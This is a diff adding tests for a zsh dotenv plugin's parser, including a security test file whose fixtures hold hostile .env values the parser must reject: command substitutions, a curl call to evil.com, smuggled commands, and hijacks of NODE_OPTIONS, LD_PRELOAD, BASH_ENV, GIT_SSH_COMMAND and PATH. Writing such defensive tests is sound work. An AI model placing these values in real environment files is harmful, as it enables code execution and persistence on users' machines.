+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse unquoted values' {
+  > "$fixture" <<'EOF'
+# Unquoted (no escape expansion)
+DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines
+EOF
+
+
+  expected_vars=(
+    DONT_EXPAND_UNQUOTED 'dontexpandnnewlines'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse quotes inside quotes' {
+  > "$fixture" <<'EOF'
+# Quotes inside quotes
+DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
+SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
+EOF
+
+  expected_vars=(
+    DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes'
+    SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes"
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse inline comments' {
+  > "$fixture" <<'EOF'
+# Comments
+# COMMENTS=work
+INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
+INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
+INLINE_COMMENTS_UNQUOTED=value # work
+EOF
+
+  expected_vars=(
+    INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes'
+    INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes'
+    INLINE_COMMENTS_UNQUOTED 'value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse ignores non-assignment commands with assignment-looking arguments' {
+  > "$fixture" <<'EOF'
+print SHOULD_NOT_PARSE=value
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse special characters' {
+  > "$fixture" <<'EOF'
+# Special characters
+EQUAL_SIGNS=equals==
+RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
+USEREMAIL=therealnerdybeast@example.tld
+EOF
+
+  expected_vars=(
+    EQUAL_SIGNS 'equals=='
+    RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}'
+    USEREMAIL 'therealnerdybeast@example.tld'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse multiline values with mixed quotes' {
+  > "$fixture" <<'EOF'
+# Multiline values with double quotes
+MULTI_DOUBLE_QUOTED="THIS
+IS
+A
+MULTILINE
+STRING"
+
+
+# Multiline values with single quotes
+MULTI_SINGLE_QUOTED='THIS
+IS
+A
+MULTILINE
+STRING'
+
+# Multiline PEM certificate
+MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
+LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
+bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
+kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
+u4QuUoobAgMBAAE=
+-----END PUBLIC KEY-----"
+EOF
+
+  expected_vars=(
+    MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
+    MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
+    MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse export syntax' {
+  > "$fixture" <<'EOF'
+# Exported variables
+export EXPORTED_VAR=exported_value
+export EXPORTED_EMPTY=
+EOF
+
+  expected_vars=(
+    EXPORTED_VAR 'exported_value'
+    EXPORTED_EMPTY ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse in-file variable expansion' {
+  > "$fixture" <<'EOF'
+# Variable expansion (in-file forward references)
+BASE_URL=https://api.example.com
+API_ENDPOINT="${BASE_URL}/v1"
+FULL_ENDPOINT=$BASE_URL/v2/users
+COMBINED="${BASE_URL}_suffix"
+EOF
+
+  expected_vars=(
+    BASE_URL 'https://api.example.com'
+    API_ENDPOINT 'https://api.example.com/v1'
+    FULL_ENDPOINT 'https://api.example.com/v2/users'
+    COMBINED 'https://api.example.com_suffix'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse in-file variable expansion prefers the longest matching variable name' {
+  > "$fixture" <<'EOF'
+A=1
+ABC=2
+X=$ABC
+Y=${ABC}
+Z=$ABCD
+EOF
+
+  expected_vars=(
+    A '1'
+    ABC '2'
+    X '2'
+    Y '2'
+    Z ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse preserves escaped dollar signs before variable expansion' {
+  > "$fixture" <<'EOF'
+BAR=expanded
+ESCAPED_UNQUOTED=foo\$BAR
+ESCAPED_DOUBLE="foo\$BAR"
+ESCAPED_BRACED="\${BAR}"
+EOF
+
+  expected_vars=(
+    BAR 'expanded'
+    ESCAPED_UNQUOTED 'foo$BAR'
+    ESCAPED_DOUBLE 'foo$BAR'
+    ESCAPED_BRACED '${BAR}'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
diff --git a/plugins/dotenv/tests/compatibility.zunit b/plugins/dotenv/tests/compatibility.zunit
new file mode 100644
index 000000000..61c5dddba
--- /dev/null
+++ b/plugins/dotenv/tests/compatibility.zunit
@@ -0,0 +1,27 @@
+#!/usr/bin/env zunit
+
+@setup {
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@teardown {
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'compatibility: dotenvjs fixture matches native source' {
+  local fixture="${testdir:A}/_support/fixtures/dotenvjs.env"
+
+  _parse_dotenv_test "$fixture"
+  _source_with_allexport "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
+}
+
+@test 'compatibility: features fixture matches native source' {
+  local fixture="${testdir:A}/_support/fixtures/features.env"
+
+  _parse_dotenv_test "$fixture"
+  _source_with_allexport "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
+}
diff --git a/plugins/dotenv/tests/security.zunit b/plugins/dotenv/tests/security.zunit
new file mode 100644
index 000000000..414f87bb7
--- /dev/null
+++ b/plugins/dotenv/tests/security.zunit
@@ -0,0 +1,209 @@
+#!/usr/bin/env zunit
+
+@setup {
+  typeset -g fixture="$(_create_temp_fixture)"
+  typeset -gA expected_vars=()
+}
+
+@teardown {
+  [[ -f "$fixture" ]] && command rm -f "$fixture"
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'skip dangerous backtick command substitution' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_BACKTICK=`whoami`
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip dangerous subshell command substitution' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_SUBSHELL=$(date)
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip nested command substitution in double quotes' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip multiple words (potential command execution)' {
+  > "$fixture" <<'EOF'
+# Should be skipped - multiple words could execute commands
+BASE_URL=/ echo command run
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'allow literal command substitution in single quotes' {
+  > "$fixture" <<'EOF'
+# Single quotes make everything literal - should be parsed
+SAFE_SINGLE_QUOTED='$(this is literal)'
+SAFE_BACKTICK='`also literal`'
+
+# Should also be parsed
+SAFE_VAR=safe_value
+EOF
+
+  expected_vars=(
+    SAFE_SINGLE_QUOTED '$(this is literal)'
+    SAFE_BACKTICK '`also literal`'
+    SAFE_VAR 'safe_value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip backticks in unquoted values' {
+  > "$fixture" <<'EOF'
+# Backticks in unquoted context - should be skipped
+DANGEROUS_UNQUOTED=`echo danger`
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip dollar-paren in unquoted values' {
+  > "$fixture" <<'EOF'
+# Command substitution in unquoted context - should be skipped
+DANGEROUS_UNQUOTED=$(uname -a)
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
+  > "$fixture" <<'EOF'
+# Dollar signs that don't start command substitution
+SAFE_DOLLARS='$HOME is literal'
+SAFE_PRICE='Cost is $50'
+SAFE_VAR='value$123'
+
+# Should all be parsed
+SAFE_VAR2=safe_value
+EOF
+
+  expected_vars=(
+    SAFE_DOLLARS '$HOME is literal'
+    SAFE_PRICE 'Cost is $50'
+    SAFE_VAR 'value$123'
+    SAFE_VAR2 'safe_value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip quoted command substitution' {
+  > "$fixture" <<'EOF'
+HARMLESS_COMMAND="\$(echo)"
+ANOTHER_ONE=$'\x24\x28echo\x29'
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'comprehensive security test with mixed safe and dangerous patterns' {
+  > "$fixture" <<'EOF'
+# These should be SKIPPED (dangerous)
+DANGEROUS_BACKTICK=`whoami`
+DANGEROUS_SUBSHELL=$(date)
+DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
+LOOKS_SAFE=$(curl http://evil.com)
+BASE_URL=/ echo command run
+
+# These should WORK (safe)
+SAFE_BEFORE=safe_value_1
+SAFE_AFTER=safe_value_2
+SAFE_SINGLE_QUOTED='$(this is literal)'
+SAFE_SINGLE_QUOTED2='`also literal`'
+SAFE_DOLLARS='$HOME'
+SAFE_PRICE="$50"
+EOF
+
+  expected_vars=(
+    SAFE_BEFORE 'safe_value_1'
+    SAFE_AFTER 'safe_value_2'
+    SAFE_SINGLE_QUOTED '$(this is literal)'
+    SAFE_SINGLE_QUOTED2 '`also literal`'
+    SAFE_DOLLARS '$HOME'
+    SAFE_PRICE '$50'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+
+
+@test 'blocks changes of special environment variables' {
+  _parse_dotenv_test =(<<'EOF'
+# Executes on the next node/npm/npx invocation
+NODE_OPTIONS=--require=./payload.js
+
+# Used for shell initialization
+BASH_ENV=./payload.sh
+# Used for shell initialization in zsh, but also respected by some tools like git
+# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args
+# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV
+ENV=./payload.sh
+# Used for zsh startup
+ZDOTDIR=./.malicious_zsh
+ZSH=./.malicious_zsh
+
+# These are used for native code injection
+LD_PRELOAD=./payload.so
+LD_LIBRARY_PATH=./malicious_libs
+DYLD_INSERT_LIBRARIES=./payload.dylib
+
+# Git environment variables
+GIT_CONFIG_GLOBAL=./.gitconfig-malicious
+GIT_DIR=./malicious_git_dir
+GIT_EDITOR=./malicious_editor
+GIT_EXTERNAL_DIFF=./malicious_diff
+GIT_EXEC_PATH=./.malicious_git_exec
+GIT_PAGER=./malicious_pager
+GIT_SSH=./malicious_ssh
+GIT_SSH_COMMAND=./malicious_ssh_command
+GIT_SSL_NO_VERIFY=true
+GIT_TEMPLATE_DIR=./malicious_templates # for persistence
+
+# Special exported variables
+PATH=./malicious_bin:$PATH
+EDITOR=./malicious
+VISUAL=./malicious
+PAGER=./malicious
+EOF
+)
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}